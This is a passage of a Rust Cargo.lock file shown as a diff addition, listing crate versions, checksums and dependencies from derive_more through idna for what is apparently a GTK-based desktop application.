= "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab63b0e2bf4d5928aff72e83a7dace85d7bba5fe12dcc3c5a572d78caffd3f3c" +dependencies = [ + "derive_builder_core", + "syn 2.0.117", +] + +[[package]] +name = "derive_more" +version = "0.99.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6edb4b64a43d977b8e99788fe3a04d483834fba1215a7e02caa415b626497f7f" +dependencies = [ + "convert_case", + "proc-macro2", + "quote", + "rustc_version", + "syn 2.0.117", +] + +[[package]] +name = "derive_more" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d751e9e49156b02b44f9c1815bcb94b984cdcc4396ecc32521c739452808b134" +dependencies = [ + "derive_more-impl", +] + +[[package]] +name = "derive_more-impl" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "799a97264921d8623a957f6c3b9011f3b5492f557bbb7a5a19b7fa6d06ba8dcb" +dependencies = [ + "proc-macro2", + "quote", + "rustc_version", + "syn 2.0.117", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", + "subtle", +] + +[[package]] +name = "dirs" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3e8aa94d75141228480295a7d0e7feb620b1a5ad9f12bc40be62411e38cce4e" +dependencies = [ + "dirs-sys", +] + +[[package]] +name = "dirs-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e01a3366d27ee9890022452ee61b2b63a67e6f13f58900b651ff5665f0bb1fab" +dependencies = [ + "libc", + "option-ext", + "redox_users", + "windows-sys 0.61.2", +] + +[[package]] +name = "dispatch2" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e0e367e4e7da84520dedcac1901e4da967309406d1e51017ae1abfb97adbd38" +dependencies = [ + "bitflags 2.11.1", + "block2", + "libc", + "objc2", +] + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "dlopen2" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e2c5bd4158e66d1e215c49b837e11d62f3267b30c92f1d171c4d3105e3dc4d4" +dependencies = [ + "dlopen2_derive", + "libc", + "once_cell", + "winapi", +] + +[[package]] +name = "dlopen2_derive" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fbbb781877580993a8707ec48672673ec7b81eeba04cfd2310bd28c08e47c8f" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "document-features" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4b8a88685455ed29a21542a33abd9cb6510b6b129abadabdcef0f4c55bc8f61" +dependencies = [ + "litrs", +] + +[[package]] +name = "dom_query" +version = "0.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "521e380c0c8afb8d9a1e83a1822ee03556fc3e3e7dbc1fd30be14e37f9cb3f89" +dependencies = [ + "bit-set", + "cssparser 0.36.0", + "foldhash 0.2.0", + "html5ever 0.38.0", + "precomputed-hash", + "selectors 0.36.1", + "tendril 0.5.0", +] + +[[package]] +name = "dpi" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8b14ccef22fc6f5a8f4d7d768562a182c04ce9a3b3157b91390b52ddfdf1a76" +dependencies = [ + "serde", +] + +[[package]] +name = "dtoa" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c3cf4824e2d5f025c7b531afcb2325364084a16806f6d47fbc1f5fbd9960590" + +[[package]] +name = "dtoa-short" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd1511a7b6a56299bd043a9c167a6d2bfb37bf84a6dfceaba651168adfb43c87" +dependencies = [ + "dtoa", +] + +[[package]] +name = "dunce" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813" + +[[package]] +name = "dyn-clone" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0881ea181b1df73ff77ffaaf9c7544ecc11e82fba9b5f27b262a3c73a332555" + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" + +[[package]] +name = "embed-resource" +version = "3.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63a1d0de4f2249aa0ff5884d7080814f446bb241a559af6c170a41e878ed2d45" +dependencies = [ + "cc", + "memchr", + "rustc_version", + "toml 0.9.12+spec-1.1.0", + "vswhom", + "winreg", +] + +[[package]] +name = "embed_plist" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ef6b89e5b37196644d8796de5268852ff179b44e96276cf4290264843743bb7" + +[[package]] +name = "endi" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66b7e2430c6dff6a955451e2cfc438f09cea1965a9d6f87f7e3b90decc014099" + +[[package]] +name = "enum-as-inner" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1e6a265c649f3f5979b601d26f1d05ada116434c87741c9493cb56218f76cbc" +dependencies = [ + "heck 0.5.0", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "enumflags2" +version = "0.7.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1027f7680c853e056ebcec683615fb6fbbc07dbaa13b4d5d9442b146ded4ecef" +dependencies = [ + "enumflags2_derive", + "serde", +] + +[[package]] +name = "enumflags2_derive" +version = "0.7.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67c78a4d8fdf9953a5c9d458f9efe940fd97a0cab0941c075a813ac594733827" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "erased-serde" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2add8a07dd6a8d93ff627029c51de145e12686fbc36ecb298ac22e74cf02dec" +dependencies = [ + "serde", + "serde_core", + "typeid", +] + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "event-listener" +version = "5.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13b66accf52311f30a0db42147dadea9850cb48cd070028831ae5f5d4b856ab" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8be9f3dfaaffdae2972880079a491a1a8bb7cbed0b8dd7a347f668b4150a3b93" +dependencies = [ + "event-listener", + "pin-project-lite", +] + +[[package]] +name = "fastrand" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f1f227452a390804cdb637b74a86990f2a7d7ba4b7d5693aac9b4dd6defd8d6" + +[[package]] +name = "fdeflate" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e6853b52649d4ac5c0bd02320cddc5ba956bdb407c4b75a2c6b75bf51500f8c" +dependencies = [ + "simd-adler32", +] + +[[package]] +name = "field-offset" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38e2275cc4e4fc009b0669731a1e5ab7ebf11f469eaede2bab9309a5b4d6057f" +dependencies = [ + "memoffset", + "rustc_version", +] + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "flate2" +version = "1.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "843fba2746e448b37e26a819579957415c8cef339bf08564fe8b7ddbd959573c" +dependencies = [ + "crc32fast", + "miniz_oxide", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foldhash" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" + +[[package]] +name = "foldhash" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77ce24cb58228fbb8aa041425bb1050850ac19177686ea6e0f41a70416f56fdb" + +[[package]] +name = "foreign-types" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d737d9aa519fb7b749cbc3b962edcf310a8dd1f4b67c91c4f83975dbdd17d965" +dependencies = [ + "foreign-types-macros", + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-macros" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a5c6c585bc94aaf2c7b51dd4c2ba22680844aba4c687be581871a6f518c5742" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "foreign-types-shared" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa9a19cbb55df58761df49b23516a86d432839add4af60fc256da840f66ed35b" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futf" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df420e2e84819663797d1ec6544b13c5be84629e7bb00dc960d6917db2987843" +dependencies = [ + "mac", + "new_debug_unreachable", +] + +[[package]] +name = "futures" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b147ee9d1f6d097cef9ce628cd2ee62288d963e16fb287bd9286455b241382d" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07bbe89c50d7a535e539b8c17bc0b49bdb77747034daa8087407d655f3f7cc1d" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e3450815272ef58cec6d564423f6e755e25379b217b0bc688e295ba24df6b1d" + +[[package]] +name = "futures-executor" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf29c38818342a3b26b5b923639e7b1f4a61fc5e76102d4b1981c6dc7a7579d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cecba35d7ad927e23624b22ad55235f2239cfa44fd10428eecbeba6d6a717718" + +[[package]] +name = "futures-lite" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f78e10609fe0e0b3f4157ffab1876319b5b0db102a2c60dc4626306dc46b44ad" +dependencies = [ + "fastrand", + "futures-core", + "futures-io", + "parking", + "pin-project-lite", +] + +[[package]] +name = "futures-macro" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e835b70203e41293343137df5c0664546da5745f82ec9b84d40be8336958447b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "futures-sink" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c39754e157331b013978ec91992bde1ac089843443c49cbc7f46150b0fad0893" + +[[package]] +name = "futures-task" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "037711b3d59c33004d3856fbdc83b99d4ff37a24768fa1be9ce3538a1cde4393" + +[[package]] +name = "futures-util" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "389ca41296e6190b48053de0321d02a77f32f8a5d2461dd38762c0593805c6d6" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "slab", +] + +[[package]] +name = "fxhash" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c" +dependencies = [ + "byteorder", +] + +[[package]] +name = "gdk" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9f245958c627ac99d8e529166f9823fb3b838d1d41fd2b297af3075093c2691" +dependencies = [ + "cairo-rs", + "gdk-pixbuf", + "gdk-sys", + "gio", + "glib", + "libc", + "pango", +] + +[[package]] +name = "gdk-pixbuf" +version = "0.18.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50e1f5f1b0bfb830d6ccc8066d18db35c487b1b2b1e8589b5dfe9f07e8defaec" +dependencies = [ + "gdk-pixbuf-sys", + "gio", + "glib", + "libc", + "once_cell", +] + +[[package]] +name = "gdk-pixbuf-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9839ea644ed9c97a34d129ad56d38a25e6756f99f3a88e15cd39c20629caf7" +dependencies = [ + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "gdk-sys" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c2d13f38594ac1e66619e188c6d5a1adb98d11b2fcf7894fc416ad76aa2f3f7" +dependencies = [ + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "pango-sys", + "pkg-config", + "system-deps", +] + +[[package]] +name = "gdkwayland-sys" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "140071d506d223f7572b9f09b5e155afbd77428cd5cc7af8f2694c41d98dfe69" +dependencies = [ + "gdk-sys", + "glib-sys", + "gobject-sys", + "libc", + "pkg-config", + "system-deps", +] + +[[package]] +name = "gdkx11" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3caa00e14351bebbc8183b3c36690327eb77c49abc2268dd4bd36b856db3fbfe" +dependencies = [ + "gdk", + "gdkx11-sys", + "gio", + "glib", + "libc", + "x11", +] + +[[package]] +name = "gdkx11-sys" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e2e7445fe01ac26f11601db260dd8608fe172514eb63b3b5e261ea6b0f4428d" +dependencies = [ + "gdk-sys", + "glib-sys", + "libc", + "system-deps", + "x11", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.9.0+wasi-snapshot-preview1", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "wasi 0.11.1+wasi-snapshot-preview1", + "wasm-bindgen", +] + +[[package]] +name = "getrandom" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "r-efi 5.3.0", + "wasip2", + "wasm-bindgen", +] + +[[package]] +name = "getrandom" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de51e6874e94e7bf76d726fc5d13ba782deca734ff60d5bb2fb2607c7406555" +dependencies = [ + "cfg-if", + "libc", + "r-efi 6.0.0", + "wasip2", + "wasip3", +] + +[[package]] +name = "getset" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9cf0fc11e47561d47397154977bc219f4cf809b2974facc3ccb3b89e2436f912" +dependencies = [ + "proc-macro-error2", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "gio" +version = "0.18.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4fc8f532f87b79cbc51a79748f16a6828fb784be93145a322fa14d06d354c73" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-util", + "gio-sys", + "glib", + "libc", + "once_cell", + "pin-project-lite", + "smallvec", + "thiserror 1.0.69", +] + +[[package]] +name = "gio-sys" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37566df850baf5e4cb0dfb78af2e4b9898d817ed9263d1090a2df958c64737d2" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", + "winapi", +] + +[[package]] +name = "glib" +version = "0.18.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "233daaf6e83ae6a12a52055f568f9d7cf4671dabb78ff9560ab6da230ce00ee5" +dependencies = [ + "bitflags 2.11.1", + "futures-channel", + "futures-core", + "futures-executor", + "futures-task", + "futures-util", + "gio-sys", + "glib-macros", + "glib-sys", + "gobject-sys", + "libc", + "memchr", + "once_cell", + "smallvec", + "thiserror 1.0.69", +] + +[[package]] +name = "glib-macros" +version = "0.18.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bb0228f477c0900c880fd78c8759b95c7636dbd7842707f49e132378aa2acdc" +dependencies = [ + "heck 0.4.1", + "proc-macro-crate 2.0.2", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "glib-sys" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "063ce2eb6a8d0ea93d2bf8ba1957e78dbab6be1c2220dd3daca57d5a9d869898" +dependencies = [ + "libc", + "system-deps", +] + +[[package]] +name = "glob" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0cc23270f6e1808e30a928bdc84dea0b9b4136a8bc82338574f23baf47bbd280" + +[[package]] +name = "gobject-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0850127b514d1c4a4654ead6dedadb18198999985908e6ffe4436f53c785ce44" +dependencies = [ + "glib-sys", + "libc", + "system-deps", +] + +[[package]] +name = "gtk" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd56fb197bfc42bd5d2751f4f017d44ff59fbb58140c6b49f9b3b2bdab08506a" +dependencies = [ + "atk", + "cairo-rs", + "field-offset", + "futures-channel", + "gdk", + "gdk-pixbuf", + "gio", + "glib", + "gtk-sys", + "gtk3-macros", + "libc", + "pango", + "pkg-config", +] + +[[package]] +name = "gtk-sys" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f29a1c21c59553eb7dd40e918be54dccd60c52b049b75119d5d96ce6b624414" +dependencies = [ + "atk-sys", + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gdk-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "pango-sys", + "system-deps", +] + +[[package]] +name = "gtk3-macros" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ff3c5b21f14f0736fed6dcfc0bfb4225ebf5725f3c0209edeec181e4d73e9d" +dependencies = [ + "proc-macro-crate 1.3.1", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" +dependencies = [ + "foldhash 0.1.5", +] + +[[package]] +name = "hashbrown" +version = "0.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f467dd6dccf739c208452f8014c75c18bb8301b050ad1cfb27153803edb0f51" + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "hermit-abi" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc0fef456e4baa96da950455cd02c081ca953b141298e41db3fc7e36b1da849c" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "hickory-proto" +version = "0.24.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92652067c9ce6f66ce53cc38d1169daa36e6e7eb7dd3b63b5103bd9d97117248" +dependencies = [ + "async-trait", + "cfg-if", + "data-encoding", + "enum-as-inner", + "futures-channel", + "futures-io", + "futures-util", + "idna", + "ipnet", + "once_cell", + "rand 0.8.5", + "thiserror 1.0.69", + "tinyvec", + "tokio", + "tracing", + "url", +] + +[[package]] +name = "hickory-resolver" +version = "0.24.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cbb117a1ca520e111743ab2f6688eddee69db4e0ea242545a604dce8a66fd22e" +dependencies = [ + "cfg-if", + "futures-util", + "hickory-proto", + "ipconfig", + "lru-cache", + "once_cell", + "parking_lot", + "rand 0.8.5", + "resolv-conf", + "smallvec", + "thiserror 1.0.69", + "tokio", + "tracing", +] + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "html5ever" +version = "0.29.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b7410cae13cbc75623c98ac4cbfd1f0bedddf3227afc24f370cf0f50a44a11c" +dependencies = [ + "log", + "mac", + "markup5ever 0.14.1", + "match_token", +] + +[[package]] +name = "html5ever" +version = "0.38.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1054432bae2f14e0061e33d23402fbaa67a921d319d56adc6bcf887ddad1cbc2" +dependencies = [ + "log", + "markup5ever 0.38.0", +] + +[[package]] +name = "http" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3ba2a386d7f85a81f119ad7498ebe444d2e22c2af0b86b069416ace48b3311a" +dependencies = [ + "bytes", + "itoa", +] + +[[package]] +name = "http-body" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184" +dependencies = [ + "bytes", + "http", +] + +[[package]] +name = "http-body-util" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "hyper" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6299f016b246a94207e63da54dbe807655bf9e00044f73ded42c3ac5305fbcca" +dependencies = [ + "atomic-waker", + "bytes", + "futures-channel", + "futures-core", + "http", + "http-body", + "httparse", + "itoa", + "pin-project-lite", + "smallvec", + "tokio", + "want", +] + +[[package]] +name = "hyper-rustls" +version = "0.27.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ca68d021ef39cf6463ab54c1d0f5daf03377b70561305bb89a8f83aab66e0f" +dependencies = [ + "http", + "hyper", + "hyper-util", + "rustls", + "tokio", + "tokio-rustls", + "tower-service", + "webpki-roots", +] + +[[package]] +name = "hyper-util" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96547c2556ec9d12fb1578c4eaf448b04993e7fb79cbaad930a656880a6bdfa0" +dependencies = [ + "base64 0.22.1", + "bytes", + "futures-channel", + "futures-util", + "http", + "http-body", + "hyper", + "ipnet", + "libc", + "percent-encoding", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", +] + +[[package]] +name = "iana-time-zone" +version = "0.1.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "log", + "wasm-bindgen", + "windows-core 0.62.2", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "ico" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e795dff5605e0f04bff85ca41b51a96b83e80b281e96231bcaaf1ac35103371" +dependencies = [ + "byteorder", + "png", +] + +[[package]] +name = "icu_collections" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2984d1cd16c883d7935b9e07e44071dca8d917fd52ecc02c04d5fa0b5a3f191c" +dependencies = [ + "displaydoc", + "potential_utf", + "utf8_iter", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locale_core" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92219b62b3e2b4d88ac5119f8904c10f8f61bf7e95b640d25ba3075e6cac2c29" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_normalizer" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c56e5ee99d6e3d33bd91c5d85458b6005a22140021cc324cea84dd0e72cff3b4" +dependencies = [ + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da3be0ae77ea334f4da67c12f149704f19f81d1adf7c51cf482943e84a2bad38" + +[[package]] +name = "icu_properties" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bee3b67d0ea5c2cca5003417989af8996f8604e34fb9ddf96208a033901e70de" +dependencies = [ + "icu_collections", + "icu_locale_core", + "icu_properties_data", + "icu_provider", + "zerotrie", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e2bbb201e0c04f7b4b3e14382af113e17ba4f63e2c9d2ee626b720cbce54a14" + +[[package]] +name = "icu_provider" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "139c4cf31c8b5f33d7e199446eff9c1e02decfc2f0eec2c8d71f65befa45b421" +dependencies = [ + "displaydoc", + "icu_locale_core", + "writeable", + "yoke", + "zerofrom", + "zerotrie", + "zerovec", +] + +[[package]] +name = "id-arena" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954" + +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + +[[package]] +name = "idna" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b0875f23caa03898994f6ddc501886a45c7d3d62d04d2d90788d47be1b1e4de" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3acae9609540aa318d1bc588455225fb2085b9ed0c4f6bd0d9d5bcd86f1a0344" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + +[[package]] +name 